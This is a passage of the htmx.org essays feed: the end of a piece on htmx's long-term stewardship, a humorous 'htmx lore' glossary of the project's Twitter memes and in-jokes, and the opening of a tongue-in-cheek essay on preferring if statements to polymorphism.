at least right enough.&lt;&#x2F;p&gt;
&lt;p&gt;This means there will not be constant activity and churn on the project, but rather
a &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Stewardship_(theology)&quot;&gt;stewardship&lt;&#x2F;a&gt; relationship: the main goal now is to not screw
it up. The documentation will be improved, tests will be added, small new declarative features will be added around the
edges, but there will be no massive rewrite or constant updating. This is in contrast with the software industry in
general and the front end world in particular, which has comical levels of churn.&lt;&#x2F;p&gt;
&lt;p&gt;Intercooler is a sturdy, reliable tool for web development.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Leaving aside &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=zGyAWH5btwY&quot;&gt;the snark at the end of the third paragraph&lt;&#x2F;a&gt;, this thinking
is very much applicable to htmx. In fact, perhaps even more so since htmx is a standalone piece of software, benefiting
from the experiences (and mistakes) of intercooler.js.&lt;&#x2F;p&gt;
&lt;p&gt;We hope to see htmx, in its own small way, join the likes of giants like jQuery as a sturdy and reliable tool for
building your 100 year web services.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>htmx lore</title>
        <published>2024-12-17T00:00:00+00:00</published>
        <updated>2024-12-17T00:00:00+00:00</updated>
        
        <author>
          <name>
            Carson Gross
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://htmx.org/essays/lore/"/>
        <id>https://htmx.org/essays/lore/</id>
        
        <content type="html" xml:base="https://htmx.org/essays/lore/">&lt;center style=&quot;padding: 12px&quot;&gt;
&lt;img src=&quot;&#x2F;img&#x2F;i-lied.png&quot; alt=&quot;I lied, I don&#x27;t have a Twitter account. Take off your shoes, we&#x27;re going to learn about hypermedia.&quot; style=&quot;border-radius: 32px; max-width: 100%&quot;&gt;
&lt;&#x2F;center&gt;
&lt;p&gt;For better or &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;IroncladDev&#x2F;status&#x2F;1866185587616596356&quot;&gt;for worse&lt;&#x2F;a&gt;, htmx has collected a lot of lore, mainly around &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;htmx_org&quot;&gt;the twitter account&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Here are some explanations.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;it-s-so-over-we-re-so-back&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#it-s-so-over-we-re-so-back&quot; aria-label=&quot;Anchor link for: it-s-so-over-we-re-so-back&quot;&gt;It’s So Over&#x2F;We’re So Back&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;A common set of phrases used by htmx enthusiasts when, for example, &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;bunjavascript&#x2F;status&#x2F;1708557665268568412&quot;&gt;@bunjavascript told me to delete my account&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;htmx-ceo&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#htmx-ceo&quot; aria-label=&quot;Anchor link for: htmx-ceo&quot;&gt;htmx CEO&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;At one point there was a hostile takeover attempt of the htmx CEO position and, in a desperate poison pill, I declared
everyone CEO of htmx.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;gitpush_gitpaid&quot;&gt;Turk&lt;&#x2F;a&gt; created &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;htmx.ceo&quot;&gt;https:&#x2F;&#x2F;htmx.ceo&lt;&#x2F;a&gt; if you want to register as a CEO.&lt;&#x2F;p&gt;
&lt;p&gt;If someone emails hr@bigsky.software asking if you are CEO of htmx, I will tell them yes.&lt;&#x2F;p&gt;
&lt;p&gt;You can put it on your LinkedIn, because it’s true.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;laser-eye-horse&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#laser-eye-horse&quot; aria-label=&quot;Anchor link for: laser-eye-horse&quot;&gt;Laser Eye Horse&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;At some point I photoshopped lasers onto a horse mask, as kind of an homage to &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;horse_js&quot;&gt;@horse_js&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;For some reason it stuck and now it’s the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;swag.htmx.org&#x2F;products&#x2F;i-lied-sticker&quot;&gt;official unofficial&lt;&#x2F;a&gt; mascot of htmx.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;spieltrieb&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#spieltrieb&quot; aria-label=&quot;Anchor link for: spieltrieb&quot;&gt;Spieltrieb&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Spieltrieb means “play instinct”, and is a big part of the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;search?q=spieltrieb%20from%3Ahtmx_org&amp;amp;src=typed_query&quot;&gt;htmx vibe&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;pickles&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#pickles&quot; aria-label=&quot;Anchor link for: pickles&quot;&gt;Pickles&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;At some point someone (I think &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;techsavvytravvy&quot;&gt;@techsavvytravvy&lt;&#x2F;a&gt;), generated &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;htmx_org&#x2F;status&#x2F;1708697536587047142&quot;&gt;a grug AI image&lt;&#x2F;a&gt;, and there
was a pickle smiling in a really bizarre way in it.&lt;&#x2F;p&gt;
&lt;p&gt;So we started riffing on pickles and now &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;swag.htmx.org&#x2F;products&#x2F;htmx-pickle-shirt&quot;&gt;there’s a shirt&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Cry more, &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;DrizzleORM&#x2F;status&#x2F;1757149983713665238&quot;&gt;drizzle&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;xss&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#xss&quot; aria-label=&quot;Anchor link for: xss&quot;&gt;XSS&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;In July 2023, when htmx first got popular, there was a
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;htmx_org&#x2F;status&#x2F;1683607693246775297&quot;&gt;moral panic&lt;&#x2F;a&gt; around
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;htmx_org&#x2F;status&#x2F;1683529221195571200&quot;&gt;cross site scripting&lt;&#x2F;a&gt;.  I
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;htmx_org&#x2F;status&#x2F;1683607217499414531&quot;&gt;may&lt;&#x2F;a&gt; have
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;htmx_org&#x2F;status&#x2F;1683649190071791617&quot;&gt;overcooked&lt;&#x2F;a&gt; my
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;htmx_org&#x2F;status&#x2F;1683612179512057856&quot;&gt;response&lt;&#x2F;a&gt; to
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;htmx_org&#x2F;status&#x2F;1683818711763877892&quot;&gt;it&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;shut-up-warren&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#shut-up-warren&quot; aria-label=&quot;Anchor link for: shut-up-warren&quot;&gt;Shut Up Warren&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;WarrenInTheBuff&quot;&gt;@WarrenInTheBuff&lt;&#x2F;a&gt; is the king of twitter and we regularly fight with him.  This often
ends in someone saying &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;ThePrimeagen&#x2F;status&#x2F;1792564215749779515&quot;&gt;“shut up warren”&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;You can see the htmx website do this by going to &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;htmx.org?suw=true&quot;&gt;https:&#x2F;&#x2F;htmx.org?suw=true&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;microsoft-purchase-rumor&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#microsoft-purchase-rumor&quot; aria-label=&quot;Anchor link for: microsoft-purchase-rumor&quot;&gt;Microsoft Purchase Rumor&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;In mid-January of 2024 I got really serious with the htmx twitter account and started &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;htmx_org&#x2F;status&#x2F;1745930477825868044&quot;&gt;quote&lt;&#x2F;a&gt;
tweeting &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;htmx_org&#x2F;status&#x2F;1745915394626351315&quot;&gt;things&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;htmx_org&quot;&gt;about microsoft&lt;&#x2F;a&gt;.  People started &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;SusSoftware&#x2F;status&#x2F;1746206195461878113&quot;&gt;worrying&lt;&#x2F;a&gt;.  I announced a &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;htmx_org&#x2F;status&#x2F;1746736273728094323&quot;&gt;license change&lt;&#x2F;a&gt;
to get people freaked out about a rug pull.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;htmx_org&#x2F;status&#x2F;1746880860723544211&quot;&gt;I then changed htmx to BSD0&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;htmx_org&#x2F;status&#x2F;1746895016256328079&quot;&gt;This is the offer&lt;&#x2F;a&gt; I got from microsoft (real).&lt;&#x2F;p&gt;
&lt;h2 id=&quot;same-thing&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#same-thing&quot; aria-label=&quot;Anchor link for: same-thing&quot;&gt;(same thing)&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;I believe that &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;htmx_org&#x2F;status&#x2F;1672264927136952322&quot;&gt;this tweet&lt;&#x2F;a&gt; is the origin of the (same thing) meme&lt;&#x2F;p&gt;
&lt;h2 id=&quot;stronger-together&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#stronger-together&quot; aria-label=&quot;Anchor link for: stronger-together&quot;&gt;Stronger Together&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;In December 2023, I was trying to get some indonesian twitter users to take a look at htmx, so I created a
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;htmx_org&#x2F;status&#x2F;1734371865156563428&quot;&gt;“Montana &amp;amp; Indonesia, Stronger Together!”&lt;&#x2F;a&gt; tweet w&#x2F;an AI image.&lt;&#x2F;p&gt;
&lt;p&gt;This turned into a &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;search?q=%22stronger%20together%22%20from%3A%40htmx_org&amp;amp;src=typed_query&amp;amp;f=live&quot;&gt;whole series of tweets&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;hinges&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#hinges&quot; aria-label=&quot;Anchor link for: hinges&quot;&gt;Hinges&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Sometimes I am accused of being “unhinged” but, in fact, &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;search?q=from%3Ahtmx_org%20hinges&amp;amp;src=typed_query&quot;&gt;I own many hinges&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;library&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#library&quot; aria-label=&quot;Anchor link for: library&quot;&gt;* library&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;People often &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;is-htmx-another-javascript-framework&#x2F;&quot;&gt;call htmx a framework&lt;&#x2F;a&gt;, but it’s &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;htmx_org&#x2F;status&#x2F;1848751101035827210&quot;&gt;a library&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;man&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#man&quot; aria-label=&quot;Anchor link for: man&quot;&gt;“man”&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;A common &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;search?q=%22man%22%20from%3Ahtmx_org&amp;amp;src=typed_query&amp;amp;f=live&quot;&gt;one word response&lt;&#x2F;a&gt; when I don’t feel like
arguing with someone.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-le-marquee-d-something&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#the-le-marquee-d-something&quot; aria-label=&quot;Anchor link for: the-le-marquee-d-something&quot;&gt;The Le Marquee d’&amp;lt;something&amp;gt;&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;In December 2024, I &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;bigskysoftware&#x2F;htmx&#x2F;commit&#x2F;2b88d967c19619281228d1bf5398751615bdf462&quot;&gt;added a marquee tag&lt;&#x2F;a&gt; to
the htmx website and started using the honorific (sic) in my twitter title.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;htmx-sucks&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#htmx-sucks&quot; aria-label=&quot;Anchor link for: htmx-sucks&quot;&gt;htmx sucks&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;I wrote an essay called &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;htmx-sucks&#x2F;&quot;&gt;htmx sucks&lt;&#x2F;a&gt; in which I criticize htmx (some valid, some tongue in
cheek, most both.)  I also released &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;swag.htmx.org&#x2F;products&#x2F;htmx-sucks-mug&quot;&gt;a mug&lt;&#x2F;a&gt; that I will often link to when people are criticizing htmx.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;jason-knight&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#jason-knight&quot; aria-label=&quot;Anchor link for: jason-knight&quot;&gt;Jason Knight&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Jason Knight &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;JasonKn99664124&#x2F;status&#x2F;1731555036864381251&quot;&gt;hates htmx&lt;&#x2F;a&gt; and wrote a
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;archive.is&#x2F;rQrl7&quot;&gt;great post&lt;&#x2F;a&gt; about it.&lt;&#x2F;p&gt;
&lt;p&gt;Please don’t harass him, &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;htmx_org&#x2F;status&#x2F;1756476449693872635&quot;&gt;I draw energy&lt;&#x2F;a&gt; from his posts.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;drop-downs&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#drop-downs&quot; aria-label=&quot;Anchor link for: drop-downs&quot;&gt;Drop Downs&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;In July 2023, sparked by the accusation that htmx users could not create dropdowns, I did a deep-dive into web
drop down technology and &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;htmx_org&#x2F;status&#x2F;1684936514885869568&quot;&gt;uncovered a bombshell&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;htmx-is-a-front-end-library-of-peace&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#htmx-is-a-front-end-library-of-peace&quot; aria-label=&quot;Anchor link for: htmx-is-a-front-end-library-of-peace&quot;&gt;“htmx is a front end library of peace”&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;A phrase I will often &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;search?q=htmx%20is%20a%20front%20end%20library%20of%20peace%20from%3A%40htmx_org&amp;amp;src=typed_query&amp;amp;f=live&quot;&gt;quote tweet&lt;&#x2F;a&gt;
violent htmx-related imagery with.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-process-tm&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#the-process-tm&quot; aria-label=&quot;Anchor link for: the-process-tm&quot;&gt;The Process ™&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;htmx_org&#x2F;status&#x2F;1697651918858764375&quot;&gt;The Process™&lt;&#x2F;a&gt; is the mechanism by which people initially hostile
to htmx come to be enlightened.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;that-s-ridiculous&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#that-s-ridiculous&quot; aria-label=&quot;Anchor link for: that-s-ridiculous&quot;&gt;“that’s ridiculous”&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;In &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;htmx_org&#x2F;status&#x2F;1807183339222405317&quot;&gt;June 2023&lt;&#x2F;a&gt;, &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;srasash&quot;&gt;@srasash&lt;&#x2F;a&gt; accused
htmx of being a government op, the first in many such increasingly ridiculous claims.  I typically quote-tweet these
claims and point out that &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;search?q=%22that%27s%20ridiculous%22%20from%3A%40htmx_org&amp;amp;src=typed_query&amp;amp;f=live&quot;&gt;“that’s ridiculous”&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;grug&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#grug&quot; aria-label=&quot;Anchor link for: grug&quot;&gt;Grug&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;I created &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;grugbrain.dev&quot;&gt;http:&#x2F;&#x2F;grugbrain.dev&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-htmx-intercooler-js-feud&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#the-htmx-intercooler-js-feud&quot; aria-label=&quot;Anchor link for: the-htmx-intercooler-js-feud&quot;&gt;The htmx&#x2F;intercooler.js feud&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;The htmx &amp;amp; &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;intercoolerjs&quot;&gt;intercooler.js&lt;&#x2F;a&gt; twitter accounts often fight with one another.  Sometimes its
just me &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;intercoolerjs&#x2F;status&#x2F;1859652045399355559&quot;&gt;switching back and forth&lt;&#x2F;a&gt;, but two other people have
access to the intercooler account, so sometimes I have no idea who I am fighting with.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;if-nothing-magically-works&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#if-nothing-magically-works&quot; aria-label=&quot;Anchor link for: if-nothing-magically-works&quot;&gt;If Nothing Magically Works&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Nothing &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;htmx_org&#x2F;status&#x2F;1729870461864226829&quot;&gt;magically breaks&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;r-webdev&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#r-webdev&quot; aria-label=&quot;Anchor link for: r-webdev&quot;&gt;&#x2F;r&#x2F;webdev&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;I was very unfairly given &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;htmx_org&#x2F;status&#x2F;1719687461385691283&quot;&gt;a lifetime ban&lt;&#x2F;a&gt; from
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.reddit.com&#x2F;r&#x2F;webdev&#x2F;&quot;&gt;&#x2F;r&#x2F;webdev&#x2F;&lt;&#x2F;a&gt; for an
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;old.reddit.com&#x2F;r&#x2F;webdev&#x2F;comments&#x2F;17i0loi&#x2F;anyone_heard_of_htmx&#x2F;&quot;&gt;obviously satirical post&lt;&#x2F;a&gt;.  Even the term “htmx” is banned (or semi-banned) on that sub, so people now use
the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;swag.htmx.org&#x2F;products&#x2F;htmeggs-shirt&quot;&gt;htmeggs&lt;&#x2F;a&gt; instead.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;looking-into-this&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#looking-into-this&quot; aria-label=&quot;Anchor link for: looking-into-this&quot;&gt;“looking into this”&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;search?q=%22idk%22%20from%3Ahtmx_org&amp;amp;src=typed_query&amp;amp;f=live&quot;&gt;idk&lt;&#x2F;a&gt;, I just think &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;search?q=%22looking%20into%20this%22%20from%3Ahtmx_org&amp;amp;src=typed_query&quot;&gt;it’s funny&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;look-at-this-nerd-ragin&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#look-at-this-nerd-ragin&quot; aria-label=&quot;Anchor link for: look-at-this-nerd-ragin&quot;&gt;“Look at this nerd ragin’”&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;A common phrase used to &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;search?q=%22Look%20at%20this%20nerd%20ragin%27%22%20from%3Ahtmx_org&amp;amp;src=typed_query&quot;&gt;mock people (including ourselves)&lt;&#x2F;a&gt; with.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;joker-bane-skeletor-thanos-etc&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#joker-bane-skeletor-thanos-etc&quot; aria-label=&quot;Anchor link for: joker-bane-skeletor-thanos-etc&quot;&gt;Joker&#x2F;Bane&#x2F;Skeletor&#x2F;Thanos, etc.&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;htmx is a &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;htmx_org&#x2F;status&#x2F;1651698199478796292&quot;&gt;villain&lt;&#x2F;a&gt; in the front-end world, I’m good w&#x2F;that&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Prefer If Statements To Polymorphism...</title>
        <published>2024-12-07T00:00:00+00:00</published>
        <updated>2024-12-07T00:00:00+00:00</updated>
        
        <author>
          <name>
            Carson Gross
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://htmx.org/essays/prefer-if-statements/"/>
        <id>https://htmx.org/essays/prefer-if-statements/</id>
        
        <content type="html" xml:base="https://htmx.org/essays/prefer-if-statements/">&lt;h2 id=&quot;or-watching-myself-lose-my-mind-in-real-time&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#or-watching-myself-lose-my-mind-in-real-time&quot; aria-label=&quot;Anchor link for: or-watching-myself-lose-my-mind-in-real-time&quot;&gt;Or, Watching Myself Lose My Mind In Real Time…&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;“Invert, always invert.” –Carl Jacobi, by way of Charlie Munger&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;htmx_org&#x2F;status&#x2F;1843804410377535533&quot;&gt;If Statements&lt;&#x2F;a&gt;&lt;&#x2F;em&gt;
&lt;blockquote&gt;
&lt;p&gt;prefer if statements to polymorphism&lt;&#x2F;p&gt;
&lt;p&gt;whenever you are tempted to create a class, ask yourself: “could this be an if statement instead?”&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;htmx_org&#x2F;status&#x2F;1843805753007845474&quot;&gt;The Closed&#x2F;Closed Principle&lt;&#x2F;a&gt;&lt;&#x2F;em&gt;
&lt;blockquote&gt;
&lt;p&gt;In grug-oriented programming, the closed–closed principle (CCP) states “software entities (classes, modules, functions, etc.) should be closed for extension, but also closed for modification”&lt;&#x2F;p&gt;
&lt;p&gt;they should just do something useful man&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;htmx_org&#x2F;status&#x2F;1843806270559793475&quot;&gt;The Minimize Abstractions Principle&lt;&#x2F;a&gt;&lt;&#x2F;em&gt;
&lt;blockquote&gt;
&lt;p&gt;The Minimize Abstractions Principle (MAP) is a computer programming principle that states that “a module should
minimize the number of abstractions it contains, both in API and in implementation.  Stop navel gazing nerd.”&lt;&#x2F;p&gt;
